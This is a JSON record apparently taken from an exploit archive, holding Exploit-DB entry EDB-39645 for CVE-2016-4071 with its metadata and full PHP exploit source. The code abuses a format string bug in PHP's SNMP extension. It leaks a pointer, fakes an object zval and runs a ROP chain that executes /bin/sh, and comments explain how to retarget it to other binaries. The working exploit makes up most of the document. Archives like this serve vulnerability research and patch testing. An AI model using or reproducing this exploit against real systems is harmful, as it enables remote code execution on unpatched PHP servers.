{"exploit":{"id":"EDB-39645","name":"PHP 5.5.33/7.0.4 - SNMP Format String / Remote Code Execution (RCE)","description":"PHP 5.5.33/7.0.4 - SNMP Format String / Remote Code Execution (RCE)","cves":["CVE-2016-4071"],"author":"Andrew Kramer","published":"2016-04-01","platform":"multiple","type":"remote","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/39645","path":"exploits/multiple/remote/39645.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-39645.php","vulnerabilities":[{"id":"CVE-2016-4071","state":"PUBLISHED","title":null,"titleSource":null,"description":"Format string vulnerability in the php_snmp_error function in ext/snmp/snmp.c in PHP before 5.5.34, 5.6.x before 5.6.20, and 7.x before 7.0.5 allows remote attackers to execute arbitrary code via format string specifiers in an SNMP::get call.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-4071","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2016-4071"},"updatedAt":"2024-08-06T00:17:30.969Z","retrievedAt":"2026-11-26T21:08:18.629Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-39645.png?v=2","url":"https://exploitbin.com/exploits/EDB-39645","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-39645/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-39645/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n\n// PHP <= 7.0.4/5.5.33 SNMP format string exploit (32bit)\n// By Andrew Kramer <andrew at jmpesp dot org>\n// Should bypass ASLR/NX just fine\n\n// This exploit utilizes PHP's internal \"%Z\" (zval)\n// format specifier in order to achieve code-execution.\n// We fake an object-type zval in memory and then bounce\n// through it carefully.  First though, we use the same\n// bug to leak a pointer to the string itself.  We can\n// then edit the global variable with correct pointers\n// before hitting it a second time to get EIP.  This\n// makes it super reliable!  Like... 100%.\n// To my knowledge this hasn't really been done before, but\n// credit to Stefan Esser (@i0n1c) for the original idea.  It works!\n// https://twitter.com/i0n1c/status/664706994478161920\n\n// All the ROP gadgets are from a binary I compiled myself.\n// If you want to use this yourself, you'll probably need\n// to build a new ROP chain and find new stack pivots for\n// whatever binary you're targeting.  If you just want to get\n// EIP, change $stack_pivot_1 to 0x41414141 below.\n\n\n// pass-by-reference here so we keep things tidy\nfunction trigger(&$format_string) {\n\n\t$session = new SNMP(SNMP::VERSION_3, \"127.0.0.1\", \"public\");\n\t// you MUST set exceptions_enabled in order to trigger this\n\t$session->exceptions_enabled = SNMP::ERRNO_ANY;\n\n\ttry {\n\t\t$session->get($format_string);\n\t} catch (SNMPException $e) {\n\t\treturn $e->getMessage();\n\t}\n\n}\n\n// overwrite either $payload_{1,2} with $str at $offset\nfunction overwrite($which, $str, $offset) {\n\n\t// these need to be global so PHP doesn't just copy them\n\tglobal $payload_1, $payload_2;\n\n\t// we MUST copy byte-by-byte so PHP doesn't realloc\n\tfor($c=0; $c<strlen($str); $c++) {\n\t\tswitch($which) {\n\t\t\tcase 1:\n\t\t\t\t$payload_1[$offset + $c] = $str[$c];\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\t$payload_2[$offset + $c] = $str[$c];\n\t\t\t\tbreak;\n\t\t}\n\t}\n\n}\n\necho \"> Setting up payloads\\n\";\n\n//$stack_pivot_1 = pack(\"L\", 0x41414141); // Just get EIP, no exploit\n$stack_pivot_1 = pack(\"L\", 0x0807c19f);\t// xchg esp ebx\n$stack_pivot_2 = pack(\"L\", 0x0809740e);\t// add esp, 0x14\n\n// this is used at first to leak the pointer to $payload_1\n$leak_str =\tstr_repeat(\"%d\", 13) . $stack_pivot_2 . \"Xw00t%lxw00t\";\n$trampoline_offset = strlen($leak_str);\n\n// used to leak a pointer and also to store ROP chain\n$payload_1 =\n\t$leak_str .\t\t\t\t\t\t// leak a pointer\n\t\"XXXX\" .\t\t\t\t\t\t// will be overwritten later\n\t$stack_pivot_1 .\t\t\t\t// initial EIP (rop start)\n\t// ROP: execve('/bin/sh',0,0)\n\tpack(\"L\", 0x080f0bb7) .\t\t\t// xor ecx, ecx; mov eax, ecx\n\tpack(\"L\", 0x0814491f) .\t\t\t// xchg edx, eax\n\tpack(\"L\", 0x0806266d) .\t\t\t// pop ebx\n\tpack(\"L\", 0x084891fd) .\t\t\t// pointer to /bin/sh\n\tpack(\"L\", 0x0807114c) .\t\t\t// pop eax\n\tpack(\"L\", 0xfffffff5) .\t\t\t// -11\n\tpack(\"L\", 0x081818de) .\t\t\t// neg eax\n\tpack(\"L\", 0x081b5faa);\t\t\t// int 0x80\n\n// used to trigger the exploit once we've patched everything\n$payload_2 =\n\t\"XXXX\" .\t\t\t\t\t\t// will be overwritten later\n\t\"XXXX\" .\t\t\t\t\t\t// just padding, whatevs\n\t\"\\x08X\" .\t\t\t\t\t\t// zval type OBJECT\n\tstr_repeat(\"%d\", 13) . \"%Z\";\t// trigger the exploit\n\n// leak a pointer\necho \"> Attempting to leak a pointer\\n\";\n$data = trigger($payload_1);\n$trampoline_ptr = (int)hexdec((explode(\"w00t\", $data)[1])) + $trampoline_offset;\necho \"> Leaked pointer: 0x\" . dechex($trampoline_ptr) . \"\\n\";\n\n// If there are any null bytes or percent signs in the pointer, it will break\n// the -0x10 will be applied later, so do it now too\nif(strpos(pack(\"L\", $trampoline_ptr - 0x10), \"\\x00\") !== false\n|| strpos(pack(\"L\", $trampoline_ptr - 0x10), \"%\") !== false) {\n\techo \"> That pointer has a bad character in it\\n\";\n\techo \"> This won't work.  Bailing out... :(\\n\";\n\texit(0);\n}\n\necho \"> Overwriting payload with calculated offsets\\n\";\n// prepare the trampoline\n// code looks kinda like...\n//   mov eax, [eax+0x10]\n//   mov eax, [eax+0x54]\n//   call eax\noverwrite(2, pack(\"L\", $trampoline_ptr - 0x10), 0);\noverwrite(1, pack(\"L\", $trampoline_ptr - 0x54 + 4), $trampoline_offset);\n\n// exploit\necho \"> Attempting to pop a shell\\n\";\ntrigger($payload_2);\n\n// if we make it here, something didn't work\necho \"> Exploit failed :(\\n\";","sha256":"025673ff427d1e3c4555d972c3c63f514461e443ee5d89b64bcfd177053bea01","bytes":4095,"fetchedAt":"2026-11-26T21:08:18.434Z","encoding":"utf-8 (display only; download retains original bytes)"}